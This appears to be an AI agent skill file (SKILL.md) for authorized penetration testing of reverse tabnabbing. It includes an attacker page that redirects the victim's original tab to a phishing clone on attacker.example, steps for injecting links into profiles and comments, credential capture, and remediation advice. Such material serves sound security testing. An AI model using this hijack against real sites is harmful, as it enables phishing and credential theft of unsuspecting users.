exploiting-reverse-tab-nabbing
$
npx mdskill add xalgord/xalgorix/exploiting-reverse-tab-nabbing- During authorized assessments where users can control the `href` of links rendered to other users - When the app renders outbound/user-supplied links with `target="_blank"` (profile URLs, comments, posts, support tickets) - When testing "open in new tab" behaviors, share links, or SSO/OAuth pop-ups - When reviewing markdown/rich-text renderers that auto-link URLs without `rel="noopener"` - When evaluating phishing resistance of flows that send users to external sites
SKILL.md
.github/skills/exploiting-reverse-tab-nabbingView on GitHub ↗
--- name: exploiting-reverse-tab-nabbing description: Identifying and exploiting reverse tabnabbing, where a link opened with target="_blank" without rel="noopener" gives the newly opened (attacker-controlled) page a reference to the originating window via window.opener, allowing it to redirect the original tab to a phishing clone. Activates when assessing user-controllable links, outbound links, or any anchor/window.open that opens new tabs. domain: cybersecurity subdomain: web-application-security tags: - penetration-testing - reverse-tabnabbing - phishing - owasp - web-security version: '1.0' author: xalgorix license: Apache-2.0 --- # Exploiting Reverse Tab Nabbing ## When to Use - During authorized assessments where users can control the `href` of links rendered to other users - When the app renders outbound/user-supplied links with `target="_blank"` (profile URLs, comments, posts, support tickets) - When testing "open in new tab" behaviors, share links, or SSO/OAuth pop-ups - When reviewing markdown/rich-text renderers that auto-link URLs without `rel="noopener"` - When evaluating phishing resistance of flows that send users to external sites ## Prerequisites - **Authorization**: Engagement scope covering client-side/phishing-style findings - **Attacker-controlled page**: A page that uses `window.opener` to redirect the original tab - **A victim flow**: A place where you can inject or supply a link that another user will click - **Two test accounts / a victim browser**: To click the link and observe the original tab change - **A convincing clone**: A look-alike of the original login page to demonstrate credential capture ## Critical: Variants Most Often Missed Testers check for `rel="noopener"` and stop. The nuance is the exact attribute combinations that remain vulnerable and the cross-origin opener surface. ```text # VULNERABLE link conditions: target="_blank" rel="opener" # explicitly grants opener target="_blank" (no rel at all) # if no rel="noopener"/"noreferrer" -> vulnerable window.open(url) # returns a window the new page can reach back via opener # Note: modern browsers default anchors with target=_blank to noopener, BUT: # - rel="opener" re-enables it # - window.open() is NOT covered by the anchor default # - older browsers / embedded webviews may still leak opener # SAFE conditions (should be present): rel="noopener" rel="noreferrer" rel="noopener noreferrer" ``` Attacker page that hijacks the original tab (`malicious.html`): ```html <!DOCTYPE html><html><body> <script> // The opener is the ORIGINAL site's window. Redirect it to a phishing clone. window.opener.location = "https://attacker.example/victim-login-clone.html"; </script> </body></html> ``` Vulnerable target markup that makes it work (`vulnerable.html`): ```html <a href="https://attacker.example/malicious.html" target="_blank" rel="opener">Open</a> <!-- also vulnerable: target="_blank" with NO rel attribute --> ``` Cross-origin `window.opener` surface still reachable (limited but useful): ```text opener.closed opener.frames opener.length opener.opener opener.parent opener.self opener.top # If SAME-origin, the attacker page gets the FULL window object of the original page. ``` ### How to CONFIRM a hit (avoid false negatives) - **Opener reference exists**: on the attacker page, `window.opener` is non-null after the victim clicks the link. - **Original tab navigates**: setting `window.opener.location` actually changes the URL of the original tab to your attacker/clone page — the definitive confirmation. Demonstrate locally with `python3 -m http.server` and watch the original tab's URL change. - **Cross-origin vs same-origin**: cross-origin you can still call `window.opener.location = ...` (navigation is allowed) even though property reads are limited; same-origin you gain full window access. Note which applies. - For a complete finding, show the redirect lands on a credential-harvesting clone (background tab swap) — the victim returns to a tab that now shows a fake login. - Confirm the link is rendered to OTHER users (stored/reflected), not just yourself, to establish real impact. ## Workflow ### Step 1: Find New-Tab Links ```bash # In rendered HTML, look for target=_blank without a safe rel grep -oE "<a[^>]*target=[\"']_blank[\"'][^>]*>" page.html | grep -v "noopener\|noreferrer" ``` Identify which of these links carry user-controllable `href` values (profiles, posts, comments, ticket bodies, markdown). ### Step 2: Confirm the Vulnerable Attribute Combo Check each candidate link for `rel="opener"` or a missing `rel`. For programmatic opens, look for `window.open(userUrl)` in client JS. ### Step 3: Host the Hijack Page ```html <!-- attacker.example/malicious.html --> <script>window.opener.location = "https://attacker.example/clone.html";</script> ``` Build `clone.html` to mirror the target's login page. ### Step 4: Deliver the Link to a Victim Inject the link where another user will click it (profile website field, comment, support message). The victim clicks, a new tab opens your page, and your script redirects their original tab. ### Step 5: Demonstrate Impact ```text 1. Victim clicks attacker link -> new tab loads malicious.html 2. malicious.html sets window.opener.location -> original tab silently navigates to clone.html 3. Victim finishes with the new tab, returns to the original tab, sees a familiar-looking login 4. Victim re-enters credentials -> captured by the clone ``` Note stealthier abuse: with opener access the attacker can also manipulate events/exfiltrate if same-origin. ### Step 6: Verify Reproducibility Locally ```bash # Place vulnerable.html, malicious.html, malicious_redir.html in a folder python3 -m http.server # Visit http://127.0.0.1:8000/vulnerable.html, click the link, watch the original tab URL change ``` ## Key Concepts | Concept | Description | |---------|-------------| | **window.opener** | Reference the newly opened page holds to the window that opened it | | **target="_blank"** | Opens the link in a new tab/window; historically shared the opener | | **rel="opener"** | Explicitly grants the opener reference, re-enabling the vuln even with modern defaults | | **rel="noopener"** | Severs `window.opener` (set to null) — the primary fix | | **window.open()** | JS API that returns a window the opened page can reach back to; not covered by anchor defaults | | **Cross-origin opener** | Limited but still allows `opener.location` navigation of the original tab | | **Same-origin opener** | Full window object access from the opened page | ## Tools & Systems | Tool | Purpose | |------|---------| | **python3 -m http.server** | Local reproduction of the vulnerable + malicious page chain | | **Browser devtools** | Inspect `window.opener` and observe original-tab navigation | | **grep / ripgrep** | Find `target="_blank"` links lacking `noopener` in rendered HTML | | **Attacker-hosted clone page** | Demonstrate the phishing/credential-capture impact | | **Markdown/rich-text renderer review** | Identify auto-linking that omits `rel="noopener"` | ## Common Scenarios ### Scenario 1: Profile Website Link A user profile lets members set a personal website rendered as `<a target="_blank" rel="opener">`. An attacker sets it to their hijack page; anyone viewing the profile who clicks it has their original tab redirected to a login clone. ### Scenario 2: Markdown Comment Auto-Link A comment system auto-links URLs without `rel="noopener"`. The attacker posts a link; readers who open it get their original tab swapped to a phishing page mimicking the site. ### Scenario 3: OAuth/SSO Pop-up A login flow uses `window.open()` to an external IdP without opener protection. The opened (attacker-influenced) page redirects the parent to a fake consent screen to harvest credentials. ## Output Format ``` ## Reverse Tabnabbing Finding **Vulnerability**: Reverse Tabnabbing via target="_blank" without rel="noopener" **Severity**: Medium (CVSS 5.4) **Location**: User profile website link (stored, rendered to other users) **OWASP Category**: A01:2021 - Broken Access Control / Client-Side ### Reproduction Steps 1. Set profile website to https://attacker.example/malicious.html 2. The app renders <a href="..." target="_blank" rel="opener"> 3. Victim views the profile and clicks the link -> new tab opens 4. malicious.html runs window.opener.location = clone.html 5. Victim's ORIGINAL tab silently navigates to a phishing clone of the login page ### Evidence | Check | Result | |-------|--------| | Rendered attribute | target="_blank" rel="opener" | | window.opener | non-null on attacker page | | Original tab | navigated to attacker clone | ### Impact Phishing with high credibility: the victim returns to what looks like the real site's login and re-enters credentials, which the attacker captures. ### Recommendation 1. Add rel="noopener noreferrer" to all target="_blank" links, especially user-supplied/outbound 2. Never use rel="opener" on links to untrusted destinations 3. For window.open(), set the returned window's opener to null or pass noopener 4. Sanitize rich-text/markdown so auto-linked anchors always include rel="noopener" ```